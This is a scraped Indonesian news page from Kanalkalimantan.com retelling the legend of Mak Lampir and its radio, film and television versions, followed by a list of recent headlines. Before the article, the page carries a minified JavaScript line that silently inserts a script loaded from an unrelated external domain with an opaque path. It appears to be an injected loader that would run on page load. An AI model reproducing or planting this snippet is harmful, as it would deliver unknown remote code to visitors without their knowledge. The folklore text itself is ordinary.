(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Misteri

Mak Lampir, Mitos dan Sejarahnya dalam Misteri Gunung Merapi


KANALKALIMANTAN.COM, JAKARTA – Di Indonesia ada banyak legenda yang cukup mistis dan banyak di yakini oleh sebagian masyarakat. Salah satu cerita rakyat atau legenda yang sangat populer di Indonesia adalah tentang Mak Lampir.

Cerita Mak Lampir juga semakin terkenal ketika dibuat sebuah film di era tahun 90-an yang memang mengisahkan tentang Mak Lampir.

Artis Farida Pasha, yang meninggal hari ini merupakan tokoh pemeran dalam pemeran sosok tersebut.

Ada banyak versi terkait kisah Mak Lampir. Pertama kali muncul, Mak Lampir menyapa penggemarnya melalui radio sejak era 80-an melalui sandiwara radio ”Misteri Gunung Merapi”. Cerita radio itu kemudian diadaptasi ke layar lebar di era 90-an dengan judul ”Perempuan Berambut Api” dan ”Cambuk Api”.

Kepopulerannya di layar lebar pun kemudian diteruskan melalui sinetron di era 2000-an dengan judul serupa, namun dalam latar era yang lebih modern.
Lantas, siapa sebenarnya Mak Lampir? Mengapa ia begitu terkutuk di mata pemirsa atau pendengar radio? Berikut kisahnya yang kami sarikan dari berbagai sumber.

Konon ceritanya, Mak Lampir merupakan seorang putri dari kerajaan kuno, yakni Champa (Chiem Thanh). Sebuah kerajaan yang pernah menguasai daerah yang sekarang termasuk Vietnam Tengah dan Selatan yang diperkirakan ada pada abad ke-7 hingga tahun 1832.
Menurut beberapa cerita, nama Mak Lampir sebenarnya adalah Siti Lampir Maimunah. Legenda Mak Lampir pun sebenarnya berasal dari Sumatra Barat.

Mitologinya cukup terkenal di beberapa wilayah di tanah Sumatra, sebut saja di Kabupaten Agam, Bukit Tinggi, tempat Gunung Merapi berdiri.

Legenda Mak Lampir juga dikaitkan dengan cerita legenda 7 Manusia Harimau yang juga berasal dari Sumatra Barat, sebagian Provinsi Bengkulu, dan Lampung.

Semasa remaja, Mak Lampir adalah seorang gadis yang cantik, baik, dan sangat pemalu. Kemudian ketika dewasa ia jatuh cinta dengan seorang pemuda pengembara.

Sang pengembara itu dikenal dengan panggilan Datuk Panglima Kumbang, yang merupakan seorang bangsawan yang bergelar Datuk dan merupakan panglima dari alam kegelapan. Datuk Panglima Kumbang disebut dapat merubah wujudnya menjadi seekor macan kumbang atau harimau.

Cinta Mak Lampir pun tak bertepuk sebelah tangan, karena nyatanya sang Datuk pun menyukai Mak Lampir. Sayang, sejoli itupun harus menerima kenyataan jika hubungan keduanya tak mendapat restu, karena pihak kerajaan Champa mengetahui sang Datuk berasal dari kaum siluman, begitupun sebaliknya.

Sakit hati dengan kedua orang tuanya, Mak Lampir kemudian memutuskan untuk melarikan diri dan menyepi di kaki Gunung Merapi. Ia pun bertapa agar bisa masuk ke alam siluman dan menemukan pujaan hatinya. Sayang, upayanya belum membuahkan hasil.

Di dalam pertapaannya itu, kemudian Mak Lampir bertemu dengan seorang pertapa lain yang akhirnya menjadi gurunya dan membuatnya jadi wanita yang sangat sakti.

Guru Mak Lampir itu bernama Nenek Serintil, yang dikatakan cukup sakti mandraguna dari aliran hitam Anggrek Jingga.

Nenek Serintil dikisahkan adalah seorang pertapa berasal dari pulau Jawa yang memuja Batara Kala, sosok dewa yang disimbolkan sebagai raksasa yang berwajah menyeramkan.

Pengembaraan cinta berujung petaka
Karena telah memiliki kesaktian, akhirnya Mak Lampir kembali mencoba mencari sang pujaan hati, melalui penjelajahan ke alam siluman. Hingga pada suatu hari Mak Lampir mendapat kabar bahwa sang Datuk tewas dalam sebuah pertempuran. Hancur sudah hati Mak Lampir mendengar sang pujaan hati meninggalkannya.

Namun dengan kesaktiannya, Nenek Serintil membekali Mak Lampir dengan sebuah ilmu yang mampu membangkitkan kaum siluman yang telah mati. Hanya saja, kecantikan mak lampir harus menjadi tumbalnya.

Mak Lampir pun akhirnya melakuan syarat itu dan berhasil membangkitkan Datuk Panglima Kumbang. Hanya saja, kini parasnya tak lagi ayu, namun berubah menjadi buruk rupa dan menyeramkan.

Meski dengan wujud buruk rupa dan menyeramkan, Mak Lampir berharap Datuk Panglima Kumbang tetap mencintainya dan menerimanya dengan tulus. Namun yang terjadi adalah sebaliknya. Pengorbanan yang dilakukan oleh Mak Lampir bertepuk sebelah tangan.

Sakit hati dengan perlakukan sang pujaan hati, akhirnya memicu dendam tak berkesudahan dalam diri Mak Lampir, dan berjanji akan terus memerangi kaum siluman dan Datuk Panglima Kumbang.

Untuk terus memerangi kaum siluman, Mak Lampir pun menggalang kekuatan dengan jin penguasa gunung Merapi di Jawa.

Selain untuk menggalang kekuatan dengan bangsa jin, tujuan pindahnya Mak Lampir ke pulau Jawa adalah untuk membuat ilmu yang dimilikinya menjadi semakin sempurna. Gunung Merapi di pulau Jawa ia jadikan pesemayaman dan mendirikan sebuah kerajaan gaib.

Mitiosnya, karena hal tersebut Mak Lampir bisa hidup hingga ratusan tahun dan tak bisa mati akan mengganggu umat manusia, terutama pasangan sejoli.
Kerajaan jin itulah yang diyakini oleh masyarakat sekitar yang membuat Gunung Merapi menjadi sangat angker dan menyeramkan.

Kisah Mak Lampir akhirnya menjadi salah satu mitos paling legendaris di Indonesia. Terlepas dari benar tidaknya cerita, namun nyatanya kultur dan budaya Indonesia hingga kini masih kental dengan kepercayan gaib. (Kanalkalimantan.com/gnfi)

Reporter: gnfi
Editor: Cell


Al Ghifari

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

48 menit ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

1 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

1 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

2 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

2 jam ago

This website uses cookies.